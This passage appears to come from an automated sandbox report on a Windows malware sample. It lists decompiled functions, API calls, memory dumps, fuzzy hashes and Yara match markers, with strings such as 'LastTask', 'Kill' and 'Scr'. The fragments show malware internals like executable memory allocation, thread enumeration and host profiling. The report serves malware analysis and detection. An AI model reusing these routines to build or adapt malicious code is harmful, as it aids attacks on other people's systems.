734E569E.KERNEL32(00000000,003D3EE6), ref: 003D3E7A

Part of subcall function 003D3C2C: GetCurrentProcessId.KERNEL32(?,00000000,003D3DA4), ref: 003D3C4D
Part of subcall function 003D3C2C: GlobalAddAtomA.KERNEL32(00000000), ref: 003D3C80
Part of subcall function 003D3C2C: GetCurrentThreadId.KERNEL32(?,?,00000000,003D3DA4), ref: 003D3C9B
Part of subcall function 003D3C2C: GlobalAddAtomA.KERNEL32(00000000), ref: 003D3CD1
Part of subcall function 003D3C2C: RegisterClipboardFormatA.USER32(00000000), ref: 003D3CE7
Part of subcall function 003D3C2C: GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,?,00000000,003D3DA4), ref: 003D3D6B
Part of subcall function 003D3C2C: 70D9FFF6.KERNEL32(00000000,AnimateWindow,USER32,00000000,00000000,?,?,00000000,003D3DA4), ref: 003D3D7C

Strings

<D<, xrefs: 003D3E94, 003D3E9E, 003D3EA8, 003D3EB8, 003D3EC8

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: AtomCurrentGlobal$ClipboardE569FormatHandleModuleProcessRegisterThread
String ID: <D<
API String ID: 2987781579-1766470496
Opcode ID: 0f7db676854c6a931de9da9106a92b209db35a2faee6b30cb4decdc7f04bcafe
Instruction ID: 8d4b77c7fcbe855aa5db0c31824734944e6166ace2ad19b6a4a6afc4335ad53a
Opcode Fuzzy Hash: 0f7db676854c6a931de9da9106a92b209db35a2faee6b30cb4decdc7f04bcafe
Instruction Fuzzy Hash: 20F0FF7A2193418FD713EF69FC6281673B9F785304B5184B6F4008B775CA35AC118B96

Uniqueness

Uniqueness Score: -1.00%

Function 0040B570, Relevance: 3.2, APIs: 2, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040B5BB
VirtualProtect.KERNELBASE(?,?,00000000), ref: 0040B762

Memory Dump Source

Source File: 00000004.00000002.2415958070.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 908ff1232115a672daceacccd1e388f79e6961393f0a3edebe41de14d0d5fad2
Instruction ID: 72fb4b00d15d4c5007f66dc6a3cd2bd96dbbcda3bf13c6d977b972de9753f18e
Opcode Fuzzy Hash: 908ff1232115a672daceacccd1e388f79e6961393f0a3edebe41de14d0d5fad2
Instruction Fuzzy Hash: 6591A675A00209DFCB48CF98C590EAEB7B5FF88304F248159E815AB391D735EA52CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00472681, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00472681(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t76 = E0047126F(_v8, _a8, _a12, _a20,  &_a20,  &_a12);
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x47d27c; // 0x374a7d0
						_t20 = _t68 + 0x47e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00472A17(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x00472687
0x0047268a
0x0047269a
0x004726a3
0x004726a7
0x00472775
0x0047277b
0x0047277b
0x004726c6
0x004726ca
0x004726d0
0x004726d5
0x004726dc
0x004726eb
0x004726eb
0x004726ef
0x004726f1
0x004726fd
0x00472708
0x00472713
0x00472717
0x00472721
0x00472725
0x00472727
0x0047272c
0x00472733
0x00472743
0x00472743
0x0047272c
0x00472725
0x00472745
0x0047274a
0x0047274f
0x0047274f
0x00472755
0x0047275b
0x00472760
0x00472760
0x00472765
0x0047276a
0x0047276a
0x00472765
0x004726ef
0x0047276c
0x00472772
0x00000000

APIs

Part of subcall function 0047126F: SysAllocString.OLEAUT32(80000002), ref: 004712C6
Part of subcall function 0047126F: SysFreeString.OLEAUT32(00000000), ref: 0047132B

SysFreeString.OLEAUT32(?), ref: 00472760
SysFreeString.OLEAUT32(00471973), ref: 0047276A

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: f36152522c911e9f3c19843e82a2daecf3d1565c6606ec919b78d633cf98a837
Instruction ID: b414e99f164433b0a5a628a4eb89abd38f9d477fc2523cf43c038f8ff8ba50b7
Opcode Fuzzy Hash: f36152522c911e9f3c19843e82a2daecf3d1565c6606ec919b78d633cf98a837
Instruction Fuzzy Hash: EE319A36500108AFCB15EF69CE88CDBBB79FFC97407108659F8099B220E3759D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00477896, Relevance: 3.1, APIs: 2, Instructions: 82
comCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00477896(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t22;
				void* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t32;
				intOrPtr* _t33;
				intOrPtr _t36;
				intOrPtr* _t39;
				void* _t46;

				_t22 =  *0x47d27c; // 0x374a7d0
				_t2 = _t22 + 0x47e0dc; // 0x3bc88ac
				_t3 = _t22 + 0x47e0cc; // 0x4590f811
				_t39 = 0;
				_v12 = 0;
				_t24 =  *0x47d15c(_t3, 0, 1, _t2,  &_v16); // executed
				_t46 = _t24;
				if(_t46 >= 0) {
					if(_a8 != 0) {
						_t36 =  *0x47d27c; // 0x374a7d0
						_t8 = _t36 + 0x47e3b8; // 0x5f005f
						E0047A12D(_t8, _a8,  &_v12); // executed
						_t39 = _v12;
					}
					_t26 = _v16;
					_t46 =  *((intOrPtr*)( *_t26 + 0xc))(_t26, _a4, 0, 0, 0, 0, 0, _t39,  &_v8);
					if(_t46 >= 0) {
						_t32 =  *0x47d158(_v8, 0xa, 0, 0, 3, 3, 0, 0); // executed
						_t46 = _t32;
						_t33 = _v8;
						if(_t46 < 0) {
							 *((intOrPtr*)( *_t33 + 8))(_t33);
						} else {
							 *_a12 = _t33;
						}
					}
					if(_t39 != 0) {
						 *((intOrPtr*)( *_t39 + 8))(_t39);
					}
					_t28 = _v16;
					 *((intOrPtr*)( *_t28 + 8))(_t28);
				}
				return _t46;
			}

0x004778a3
0x004778a8
0x004778b4
0x004778ba
0x004778bd
0x004778c0
0x004778c6
0x004778ca
0x004778cf
0x004778d5
0x004778dd
0x004778e4
0x004778e9
0x004778e9
0x004778ec
0x00477902
0x00477906
0x00477915
0x0047791b
0x0047791f
0x00477922
0x0047792e
0x00477924
0x00477927
0x00477927
0x00477922
0x00477933
0x00477938
0x00477938
0x0047793b
0x00477941
0x00477941
0x0047794a

APIs

CoCreateInstance.OLE32(4590F811,00000000,00000001,03BC88AC,7671BB27), ref: 004778C0
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00477915

Part of subcall function 0047A12D: CoCreateInstance.OLE32(674B6698,00000000,00000001,03BC88CC,?), ref: 0047A166

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateInstance$BlanketProxy
String ID:
API String ID: 3291578418-0
Opcode ID: 160dd7c129e71b12595bfaa18ab1d4710ab52db33c41de20f5fbd4507c43e24f
Instruction ID: 434e93e0e7e7daa3b2db6af0b2f8f8ac92b6f061449f5ea1372834ac89e95076
Opcode Fuzzy Hash: 160dd7c129e71b12595bfaa18ab1d4710ab52db33c41de20f5fbd4507c43e24f
Instruction Fuzzy Hash: 012162B5601218BFDB10DBA5DC88DDE7BBDEF49754B0084A5F60ADB260C6749941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02352DF5, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

HeapFree.KERNEL32(00000000,?,Ini), ref: 02352E81

Part of subcall function 0235958A: memcpy.NTDLL(?,?,00000000,?,?,?,00000000,?,02354CFD,00000000,00000001,-00000007,?,00000000), ref: 023595AC

Strings

Ini, xrefs: 02352E05

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapQueryValue$AllocateCloseFreememcpy
String ID: Ini
API String ID: 1301464996-1327165576
Opcode ID: 0f7f68335795010b5c6ff5fa879413a776232d37d48704920cf4aa6eea43e78d
Instruction ID: 0c5b74aa49323e8c5b15232071a2e1c5b8b1009094c922bde0ad71f81af52864
Opcode Fuzzy Hash: 0f7f68335795010b5c6ff5fa879413a776232d37d48704920cf4aa6eea43e78d
Instruction Fuzzy Hash: 6A11C2B2A40215EFDB24DA48DC84FAE77ADEB49B14F144066EE0AEB241D770AD008B90

Uniqueness

Uniqueness Score: -1.00%

Function 02342980, Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

EnumProcessModules.PSAPI(00000008,00000000,00001000,00000000,00001000), ref: 023429B0
GetLastError.KERNEL32(00000008,00000000,00001000,00000000,00001000), ref: 023429F7

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateEnumErrorFreeLastModulesProcess
String ID:
API String ID: 552344955-0
Opcode ID: 7880d645f1d52ed5120d7617d6ee35cd48fa6a7f5a3106cc99dc991d6fd8e373
Instruction ID: 039747a2c1ac083497ac7492837c4a1fb19f2e85c4a8ded37f9f80b44e276737
Opcode Fuzzy Hash: 7880d645f1d52ed5120d7617d6ee35cd48fa6a7f5a3106cc99dc991d6fd8e373
Instruction Fuzzy Hash: 01118271900248ABDB21DFA9C844B9FBBFEEF84759F14409AFC04A7200DF75AA45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0236067B, Relevance: 3.1, APIs: 2, Instructions: 54memorytimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(02360932,00000000,02360932,?,?), ref: 023606B8
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02360719

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Time$FileFreeHeapSystem
String ID:
API String ID: 892271797-0
Opcode ID: 792f1a2c3575a5f389df09dd666007d335dfedd8e3b3073a497e59b9aa334bf1
Instruction ID: 7885fd7d9d2238ba63051e0e2687ce4cb9d78b562892ed740d54657a98c0eda8
Opcode Fuzzy Hash: 792f1a2c3575a5f389df09dd666007d335dfedd8e3b3073a497e59b9aa334bf1
Instruction Fuzzy Hash: C7110AB5D50218EBCF14EBA0DA49B9EB7BCEB04308F108592E905F2144D734EB548F61

Uniqueness

Uniqueness Score: -1.00%

Function 00472327, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00472327(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t20;
				void* _t21;
				void* _t23;
				signed short* _t24;

				_t23 = E0047A0DB(0, _a12);
				if(_t23 == 0) {
					_t21 = 8;
				} else {
					_t24 = _t23 + _a16 * 2;
					 *_t24 =  *_t24 & 0x00000000;
					_t21 = E00476F9D(__ecx, _a4, _a8, _t23);
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t24 = 0x5f;
						_t20 = E00474748(8, _a4, 0x80000001, _a8, _t23); // executed
						_t21 = _t20;
					}
					HeapFree( *0x47d238, 0, _t23);
				}
				return _t21;
			}

0x0047233a
0x0047233e
0x00472398
0x00472340
0x00472347
0x0047234d
0x00472356
0x0047235a
0x00472360
0x00472369
0x0047236e
0x0047237e
0x00472383
0x00472383
0x0047238e
0x0047238e
0x0047239f

APIs

Part of subcall function 0047A0DB: lstrlen.KERNEL32(?,00000000,0047D330,00000001,004722CC,0047D00C,0047D00C,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4), ref: 0047A0E4
Part of subcall function 0047A0DB: mbstowcs.NTDLL ref: 0047A10B
Part of subcall function 0047A0DB: memset.NTDLL ref: 0047A11D

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,766F1499,00000000,00000008,00000014,004F0053,03BC9594), ref: 00472360
HeapFree.KERNEL32(00000000,00000000,004F0053), ref: 0047238E

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 248e04110222bb44a9d64ef735ed609c3c754a9dbcf26c01bce261fe9356b23d
Instruction ID: fd475b4ed61d763559061fa0df412c28719949d63af14c14e440579d75026ec9
Opcode Fuzzy Hash: 248e04110222bb44a9d64ef735ed609c3c754a9dbcf26c01bce261fe9356b23d
Instruction Fuzzy Hash: DC01D43220020DBBDB211FA59C88EDB7BBCFF85308F10442AFA489A151E7B5D9548754

Uniqueness

Uniqueness Score: -1.00%

Function 0040B020, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040B0A4

Strings

VirtualAlloc, xrefs: 0040B089, 0040B08C

Memory Dump Source

Source File: 00000004.00000002.2415958070.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: VirtualAlloc
API String ID: 4275171209-164498762
Opcode ID: a77aec488e472259a9f8f903e2d2770156d735046b38bce3c934600cf440992a
Instruction ID: 42e568a1671d069fd23bbb3b8b5be53cb32587f6992b5d1b96ddf35554b3d05e
Opcode Fuzzy Hash: a77aec488e472259a9f8f903e2d2770156d735046b38bce3c934600cf440992a
Instruction Fuzzy Hash: F3110060D08289DAEF01D7E89409BFFBFB55F11708F0440A9D5447A382D6BE575887E6

Uniqueness

Uniqueness Score: -1.00%

Function 02352EFB, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

HeapFree.KERNEL32(00000000,?), ref: 02352F66

Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,0000002E), ref: 0235E4C7
Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,00000020), ref: 0235E4D6

Part of subcall function 02346DA4: CloseHandle.KERNEL32(?), ref: 02346DCA
Part of subcall function 02346DA4: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02346DD6
Part of subcall function 02346DA4: GetModuleHandleA.KERNEL32(KERNEL32.DLL,ExitProcess), ref: 02346DED
Part of subcall function 02346DA4: GetProcAddress.KERNEL32(00000000), ref: 02346DF4
Part of subcall function 02346DA4: Thread32First.KERNEL32(?,0000001C), ref: 02346E04
Part of subcall function 02346DA4: CloseHandle.KERNEL32(?), ref: 02346E4C

Strings

Kill, xrefs: 02352F08

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseHandle$HeapQueryValue$AddressAllocateCreateFirstFreeModuleProcSnapshotThread32Toolhelp32
String ID: Kill
API String ID: 2627809124-2803628375
Opcode ID: 8ec13f6804d873852fe0cccb73c682543a3a08ed3fdda4c0c80d3a9c8b9efa22
Instruction ID: c29edb1b14efb77511ca1077c354fb96c36d3db08cd94a0f087c65d291dd7394
Opcode Fuzzy Hash: 8ec13f6804d873852fe0cccb73c682543a3a08ed3fdda4c0c80d3a9c8b9efa22
Instruction Fuzzy Hash: 2001F4B2A40328FF9B219BE9ED48C9FFBAFDF05354B104451FC05A2100DB32AE158A60

Uniqueness

Uniqueness Score: -1.00%

Function 023557B5, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

HeapFree.KERNEL32(00000000,?), ref: 02355827

Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,0000002E), ref: 0235E4C7
Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,00000020), ref: 0235E4D6

Part of subcall function 02356121: lstrlen.KERNEL32(02341889,00000000,?,?,?,?,02341889,00000126,00000000,?,00000000), ref: 02356151
Part of subcall function 02356121: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 02356167
Part of subcall function 02356121: memcpy.NTDLL(00000010,02341889,00000000,?,?,02341889,00000126,00000000), ref: 0235619D
Part of subcall function 02356121: memcpy.NTDLL(00000010,00000000,00000126,?,?,02341889,00000126), ref: 023561B8
Part of subcall function 02356121: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000119,00000001), ref: 023561D6
Part of subcall function 02356121: GetLastError.KERNEL32(?,?,02341889,00000126), ref: 023561E0
Part of subcall function 02356121: HeapFree.KERNEL32(00000000,00000000), ref: 02356206

Strings

Scr, xrefs: 023557C2

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy$CallCloseErrorLastNamedPipelstrlen
String ID: Scr
API String ID: 730886825-1633706383
Opcode ID: 2cc041b0862ed9ed0ddc60d41d6439c3e73c7e5e0416f93fa2083cc1a9eea353
Instruction ID: 39f821a6b3d92e796af5d7b3237b9a245be555b967c445900e2ed38bdcdc9c93
Opcode Fuzzy Hash: 2cc041b0862ed9ed0ddc60d41d6439c3e73c7e5e0416f93fa2083cc1a9eea353
Instruction Fuzzy Hash: EE01AD71A90224FADB219795DD0AF9EBFAEDB05B54F108465FA06A2080DA74AA109B60

Uniqueness

Uniqueness Score: -1.00%

Function 00473CCD, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00473CCD(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E004716F8(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E004770FF(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x00473cd2
0x00473cdd
0x00473cdf
0x00473ce5
0x00473ce7
0x00473cec
0x00473cf5
0x00473cf9
0x00473d02
0x00473d06
0x00473d15
0x00473d08
0x00473d09
0x00473d0e
0x00473d0e
0x00473d06
0x00473cf9
0x00473d1e

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,00478DB0,7671BB27,00000000,?,?,00478DB0), ref: 00473CE5

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

GetComputerNameExA.KERNELBASE(00000003,00000000,00478DB0,00478DB1,?,?,00478DB0), ref: 00473D02

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 6a28a19b91f70119bb8e678b5f3084badcdcb53a4d391cf7224577d084e9dd96
Instruction ID: 00b4e4f59b631b73b620ba57ab8559421dcc1d46bfdc1495cb01ded47a33cadf
Opcode Fuzzy Hash: 6a28a19b91f70119bb8e678b5f3084badcdcb53a4d391cf7224577d084e9dd96
Instruction Fuzzy Hash: 26F0B436600149FBE720DA9A8C01EEF37BEDBC1745F21406AA508D3201EA74DF01A7B4

Uniqueness

Uniqueness Score: -1.00%

Function 0234706D, Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(02367380), ref: 02347077
RtlLeaveCriticalSection.NTDLL(02367380), ref: 023470B3

Part of subcall function 0235E350: lstrlen.KERNEL32(?,?,?,?,00000000), ref: 0235E39D
Part of subcall function 0235E350: VirtualProtect.KERNELBASE(00000000,00000000,00000040,0234570A,?,?,?,00000000), ref: 0235E3AF
Part of subcall function 0235E350: lstrcpy.KERNEL32(00000000,?), ref: 0235E3BE
Part of subcall function 0235E350: VirtualProtect.KERNELBASE(00000000,00000000,5357E372,0234570A,?,?,?,00000000), ref: 0235E3CF

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalProtectSectionVirtual$EnterFreeHeapLeavelstrcpylstrlen
String ID:
API String ID: 1872894792-0
Opcode ID: 3dd11442f8cfb2a2f588281b4d454a7d60ee12c0ca04657fbfe63ede544e0d4a
Instruction ID: 9fe6b8b3b5fe0439ccf956962bd41df07263b20bf37ec0a2b5867a0f440da3de
Opcode Fuzzy Hash: 3dd11442f8cfb2a2f588281b4d454a7d60ee12c0ca04657fbfe63ede544e0d4a
Instruction Fuzzy Hash: 06F0EC75A422149F97306F18D94C875F7EDEB4971432986CEED1653300CB72AC108ED0

Uniqueness

Uniqueness Score: -1.00%

Function 02351C7D, Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02366FDC), ref: 02351C92

Part of subcall function 0235F0A0: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0235F0CB
Part of subcall function 0235F0A0: HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 0235F0D8
Part of subcall function 0235F0A0: NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 0235F164
Part of subcall function 0235F0A0: GetModuleHandleA.KERNEL32(00000000), ref: 0235F16F
Part of subcall function 0235F0A0: RtlImageNtHeader.NTDLL(00000000), ref: 0235F178
Part of subcall function 0235F0A0: RtlExitUserThread.NTDLL(00000000), ref: 0235F18D

InterlockedDecrement.KERNEL32(02366FDC), ref: 02351CB6

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: InterlockedThreadTime$CreateDecrementExitFileHandleHeaderHeapImageIncrementInformationModuleQuerySystemUser
String ID:
API String ID: 1011034841-0
Opcode ID: 43b2e387e5b4d24c150db9ae06c0458435a2e529fbdfb1b2e3fc765f34ac3fe4
Instruction ID: cb461ac929ce673a433f0793c7b269a5d60f8106da3a0a57edf0393ea7fd6313
Opcode Fuzzy Hash: 43b2e387e5b4d24c150db9ae06c0458435a2e529fbdfb1b2e3fc765f34ac3fe4
Instruction Fuzzy Hash: 96E012317482315BE7216B64990CF6AA79DAF00F48F408514FDEFD1154D7128850AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00477E5C, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x47d23c) == 0) {
						E00477239();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x47d23c) == 1) {
						_t10 = E00479A11(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x00477e63
0x00477e64
0x00477e67
0x00477e99
0x00477e9b
0x00477e9b
0x00477e69
0x00477e6a
0x00477e7f
0x00477e86
0x00477e88
0x00477e88
0x00477e86
0x00477e6a
0x00477ea3

APIs

InterlockedIncrement.KERNEL32(0047D23C), ref: 00477E71

Part of subcall function 00479A11: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00477E84,?), ref: 00479A24

InterlockedDecrement.KERNEL32(0047D23C), ref: 00477E91

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

